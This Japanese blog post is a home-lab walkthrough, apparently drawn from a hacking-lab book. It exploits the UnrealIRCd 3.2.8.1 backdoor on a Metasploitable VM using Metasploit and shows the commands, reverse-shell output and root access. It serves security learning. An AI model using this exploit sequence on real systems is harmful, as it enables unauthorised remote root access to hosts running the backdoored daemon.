ポートスキャンの結果により UnrealIRCD のポートが開放されていることがわかっているため、このサービスを利用して今回はハッキングを行ってみます。
6667/tcp open irc UnrealIRCd
UnrealIRCDのバージョン確認
UnrealIRCD とは、IRC というインターネットメッセンジャーサービス(サーバを介してクライアントとクライアントが会話する)のデーモンです。まずこのデーモンのバージョンを確認します。
hexchat のインストール
バージョン確認するために、IRC クライアントソフトである「hexchat」をインストールします。
root@kali:~# apt install hexchat -y
Metasplotitable への接続設定
Kali で hexchat を起動します。
※警告メッセージが表示されますが無視してください。
以下画面で「Add」をクリックし、Metasploitable を追加します。

追加した Metasploitable を選択した状態で「Edit…」をクリックします。
以下画面が開くので、Metasploitable の IPアドレスに変更し「Close」をクリックします。

Metasploitable に接続しバージョンを確認
追加した Metasploitable を選択した状態で「Connect」をクリックします。

接続が開始されます。チャンネルに参加するかどうか選択する画面が表示されますが、OKをクリックします。
すると以下画面が表示され、メッセージ欄にバージョン情報が表示されます。確認するとバージョンは「3.2.8.1」でした。

UnrealIRCD 3.2.8.1 の脆弱性とは?
UnrealIRCD 3.2.8.1 にはバックドアが内在しており、攻撃者によって任意のコマンドを実行されてしまいます。
Exploit DB を確認すると、この脆弱性を攻撃するモジュールが Metasploit に用意されていることがわかります。

このモジュールを利用してハッキングを行っていきます。
バックドアを利用してシェル操作を行う
この脆弱性を攻撃するモジュールは「exploit/unix/irc/unreal_ircd_3281_backdoor」です。
それでは、このモジュールを利用して実際に攻撃を行っていきます。
「RHOST」は Metasploitable の IPアドレスを指定します。
msf5 auxiliary(admin/smb/samba_symlink_traversal) > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhost 10.0.0.5
rhost => 10.0.0.5
RHOST を設定したら、「run」でモジュールを実行します。
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 10.0.0.2:4444
[*] 10.0.0.5:6667 - Connected to 10.0.0.5:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 10.0.0.5:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 2Kr5CXyvkpjfVovf;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "2Kr5CXyvkpjfVovf\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 305 opened (10.0.0.2:4444 -> 10.0.0.5:54761) at 2020-03-25 22:44:39 -0400
最後の行に opend とあるように、セッションの確立に成功しました。
メッセージを見ると、はじめに Kali 側で 4444 ポートで待受け、その後 Metasploitable の6667ポートに接続を行うことで、Metasploitable から Kali の 4444 ポートにセッションを確立させています。
6667ポートにバックドアが存在することによって、こういったセッションの確立が行われています。
この状態であればシェルの操作を行うことができます。
id と入力すると、root権限であることがわかりました。
id
uid=0(root) gid=0(root)
IPアドレスの確認も問題なく行えました。
ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:59:5c:61
inet addr:10.0.0.5 Bcast:10.0.0.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe59:5c61/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:76256 errors:0 dropped:0 overruns:0 frame:0
TX packets:75350 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:5440073 (5.1 MB) TX bytes:6592025 (6.2 MB)
Base address:0xd020 Memory:f1200000-f1220000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:6431 errors:0 dropped:0 overruns:0 frame:0
TX packets:6431 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3174901 (3.0 MB) TX bytes:3174901 (3.0 MB)
以上から、UnrealIRCD 3.2.8.1 の脆弱性を利用することで遠隔操作が可能なことがわかりました。
今回は以上です。
くどり
この記事は「ハッキング・ラボのつくりかた 第6章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。
コメント